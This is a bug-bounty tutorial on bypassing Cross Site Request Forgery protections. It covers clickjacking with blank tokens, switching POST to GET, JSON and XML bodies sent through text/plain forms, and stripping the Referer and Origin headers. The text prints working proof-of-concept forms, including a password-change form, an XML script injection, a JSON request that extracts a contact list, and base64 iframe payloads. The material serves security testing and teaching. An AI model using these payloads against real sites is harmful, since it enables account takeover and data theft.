Learning about Cross Site Request Forgery


Cross Site Request Forgery (CSRF) tokens are designed to stop a request from evil.com from being submitted secretly to hijack your account on example.com. This may be done via a hidden <form> or perhaps just an <img> tag. An example of this would be Facebook implement CSRF by using a value called fb_dtsg, and the general purpose is you can only do an action (such as update your email) if a valid fb_dtsg value is sent with the request. Unless the attacker has XSS and the fb_dtsg value is present somewhere in the HTML, no attacker can get this unique value and spoof a request when you visit their malicious site. Whilst it seems straight forward to prevent CSRF sometimes developers opt for a different approach. In this tutorial i'm going to describe interesting bypasses i've found and common problems developers make.

Example of a FORM post to change users password with no CSRF protection

<html>
  <body>
    <form action="https://www.example.com/changepassword" method="POST">
      <input type="hidden" name="newpassword" value="oops" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The site has a CSRF token, must not be vulnerable..

..think again! This got me a four digit bounty. One bounty program I tested in the past had CSRF tokens on all their requests. Literally every action you did a CSRF token was sent with it. "must not be vulnerable!" you may think. The bypass was actually extremely simple and made use of clickjacking. When updating the email of my account, sending a blank csrfToken value would actually cause the changes I wanted to make to be reflected but with an error: CSRF_token is invalid. Please submit again.. Take note what I say there. The changes I attempted to make were reflected, but weren't saved. The email hadn't successfuly updated, but it had been reflected back on the page.

Thanks to the lack of X-FRAME-OPTIONS, I was able to submit the request to update email, then iframe the result and clickjack the user into forcing a click onto "submit". The email on that users' account is then modified to mine without them realising. You can see a video of this below.

As well as this, changing the request from POST to GET (and vice versa) and seeing how they handle the request as they may only be validating $_POST variables and $_GET works differently. Sometimes it really is that simple and I have found lots of bypasses via this in the past which you can find here.

<img src='https://www.example.com/changePassword?newPassword=oops'>

Can you CSRF a JSON&XML payload?

Sure you can! For JSON, this one might require some playing, since you have to make use of the the "=" character somewhere sometimes (if they are validating it's valid JSON format server-side). If it ends in =, then it will error, so pay attention to the fact you may need to "smuggle" = in your payload.

When it comes to XML a basic XML payload will work, however you are setting it as the NAME, NOT the value. Look below and view the HTML I use for XML posting to achieve XSS. Notice how the name is set? This is what enables you to send XML via a FORM post. We explain more on why below. Having a trailing = doesn't matter here.

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
         <input type="submit" value="submit"> </form>
     </body>
  </html>

Now when it comes to smuggling =, here is an example of a PoC I provided on a bug bounty program used to extract a users private contact list.

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
         <input type="submit" value="submit"> </form>
     </body>
  </html>

Notice how i'm making use of the = character in the second request in the email parameter? Thanks to the way google mail works, an email sent to [email protected] will actually go to [email protected].

Some websites as mentioned above will require the postdata to be valid JSON, so having it end with }= will cause errors so you will need to play around with "smuggling" =. The payload ends in = because you are naming the input as the payload and post data works as parametername=parametervalue. So you would have yourjson= essentially. Try and make use of the = character so your payload doesn't end with it. It should always end with } to close the JSON payload.

CSRF protection via referer/origin

I've seen sites check the if the Referer is their site, and if yes then allow the request. If no then lock the request. An interesting approach to stopping CSRF attacks and with this bypasses are created.

  1. https://www.yoursite.com/https://www.theirsite.com/ Some sites only check if it contains their website url, meaning we can just create a file/folder on our site to send the CSRF request from.

  2. Send a blank referer Submitting a form inside an iframe will actually give you a blank referer and sometimes this is enough to bypass their protection. This is because some developers are checking for if the referrer header is found and then executing the anti-csrf code. If no referrer is found, no code is executed. This is where as you are hunting you can spot bad coding practise because usually this type of issue exists throughout. If a certain condition is met, then execute.

<iframe src='data:text/html,<html><form action="/login.php" method="POST">
<input type="text" name="user" value="zseano">
<input type="submit">
</form>'></iframe>
  1. Submit a blank origin & blank referer This will only work on Firefox but if base64 encoded your form above and then submitted it inside an iframe, the Origin header is set to null, or sometimes not sent at all. Some sites will only check if the header is present ;)
<iframe src=data:text/html;base64,PGh0bWw+CiAgICAgPGJvZHk+CiAgICAgICAgPGZvcm0gRU5DVFlQRT0idGV4dC9wbGFpbiIgYWN0aW9uPSJodHRwOi8vdnVsbnNpdGUuY29tL3NuaXAvc25pcHBldC5waHAiIG1ldGhvZD0icG9zdCI+IAogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InsicGFyYW1zIjp7ImxpbWl0IjoyMCwiYW5kIjpmYWxzZSwiZmlsdGVycyI6W10sImV4Y2x1ZGVkX2NvbnRhY3RzIjpbXX0sImZpZWxkcyI6WyJGaXJzdCBOYW1lIiwiTGFzdCBOYW1lIiwiRW1haWwgQWRkcmVzcyIsIlRpdGxlIiwiTm90ZXMiLCJPcmdhbml6YXRpb24iLCJTdHJlZXQiLCJDaXR5IiwiU3RhdGUiLCJUYWdzIiwiWmlwIENvZGUiLCJQaG9uZSBOdW1iZXIiLCJHZW5kZXIiLCJFdmVudCBJRCIsIkV2ZW50IFRpdGxlIiwiVklQIiwiVHdpdHRlciBIYW5kbGUiLCJUd2l0dGVyIFVSTCIsIlR3aXR0ZXIgRm9sbG93ZXJzIiwiVHdpdHRlciBGb2xsb3dpbmciLCJGYWNlYm9vayBOYW1lIiwiRmFjZWJvb2sgVVJMIiwiRmFjZWJvb2sgRnJpZW5kcyIsIkluc3RhZ3JhbSBIYW5kbGUiLCJJbnN0YWdyYW0gVVJMIiwiSW5zdGFncmFtIEZvbGxvd2VycyIsIkluc3RhZ3JhbSBGb2xsb3dpbmciLCJXZWJzaXRlIiwiRGF0ZSBBZGRlZCIsIlVuc3Vic2NyaWJlZCJdLCJyZWNpcGllbnQiOiJteWVtYWlsKzIiIHZhbHVlPSdAZ21haWwuY29tJz4KICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN1Ym1pdCI+IDwvZm9ybT4KICAgICA8L2JvZHk+CiAgPC9odG1sPg==>

See if you can beat our CSRF challenge and determine what "protection" it has and how you may be able to bypass it. This is based on a real finding that again was paid out a four digit bounty!


Test your knowledge with BugBountyHunter Challenges


Resources

A list of useful websites, blog posts, reports tools to help you.